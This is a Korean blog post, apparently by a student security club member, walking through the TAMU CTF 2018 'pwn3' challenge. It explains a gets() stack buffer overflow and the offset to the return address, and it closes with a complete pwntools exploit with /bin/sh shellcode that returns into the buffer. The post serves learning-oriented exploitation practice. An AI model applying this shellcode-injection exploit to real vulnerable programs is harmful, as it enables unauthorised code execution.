Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- C언어
- 백준
- 드림핵
- 숙명여자대학교 정보보안 동아리
- c++
- The Loard of BOF
- 숙명여자대학교 정보보안동아리
- CSS
- 자료구조 복습
- PHP 웹페이지 만들기
- Python
- HTML
- 기계학습
- BOJ Python
- Javascript
- siss
- 생활코딩
- hackctf
- 파이썬
- 웹페이지 만들기
- SWEA
- Sookmyung Information Security Study
- hackerrank
- lob
- 머신러닝
- c
- WarGame
- XSS Game
- BOJ
- 풀이
Archives
- Today
- Total
혜랑's STORY
[TAMU CTF 2018] pwn3 본문
# checksec을 통해 보호기법 및 파일 유형 체크하기
-> 확인해본 결과 pwn3은 32 bit 파일이고, 보호기법은 없다. 따라서 앞서 정리한 Retrun to Shellcode를 사용해 프로그램의 흐름을 변경할 수 있을 것 같다.
# IDA를 통해 Pseudo code 확인하기
- echo() 함수를 살펴보자.
- gets(&s) : gets() 함수로 s변수에 입력받은 문자열을 저장한다. -> gets() 함수는 입력받는 문자열의 길이 제한이 없기 때문에 버퍼오버플로우 취약점이 발생한다.
-> ebp-EE를 통해 s의 크기가 238 byte 라는 것을 알 수 있다.
-> s의 크기가 쉘코드를 전달하기 충분히 크기 때문에 s에 쉘코드를 담고 Return address를 s의 주소를 저장하면 RET 명령어로 해당 주소를 리턴하여 쉘코드를 실행할 수 있다.
# Retrun address 까지의 거리 구하기
- 0x80484cd : echo() 함수의 첫 번째 명령어 - 스택의 시작
- 0x8048505 : gets() 함수 호출 - 버퍼오버플로우 취약점 발생
다음과 같이 Return address를 확인할 수 있다.
- esp 레지스터가 가리키고 있는 최상위 Stack 메모리는 0xffffd00c이다.
- s의 시작 주소는 0xffffcf1a이다.
- Return address와 242bytes 떨어져 있다.
-> 즉, 사용자 값으로 문자를 242개 이상 입력하면, Return address를 덮어 쓸 수 있다.
다음과 같이 Return address 값이 변경된 것을 확인할 수 있닫. ('A'로 도배됨)
-> 즉, 242개의 문자를 입력 후 shellcode가 있는 주소를 저장하면 Return address를 덮어 쓸 수 있다.
# Payload
앞에서 확인한 내용을 바탕으로 아래와 같이 Exploit code를 작성할 수 있다.
from pwn import *
p = process("./pwn3")
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
p.recvuntil("number ") #recvuntil을 통해 number 문자열을 읽는다.
addr = int(p.recv(10),0) #recv를 통해 문자열을 10바이트 만큼 수신한다. 즉, 반환할 주소를 알아낸다.
payload=""
payload+=SHELLCODE
payload+="\x90"*(238 - len(SHELLCODE) +4) + p32(addr)
p.sendlineafter("echo? ",payload)
p.interactive()
# Exploit
해당 Exploit code를 실행하여 shell을 획득한다.
'2021 SISS 21기 활동 > 1학기 시스템' 카테고리의 다른 글
[HackCTF] Basic_BOF #1 (0) | 2021.04.09 |
---|---|
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2021.04.02 |
[HITCON-Training] lab3 - ret2sc (0) | 2021.03.30 |
[Lazenca] Return to Shellcode (0) | 2021.03.30 |
IDA Pro 7.0 & pwntools (0) | 2021.03.26 |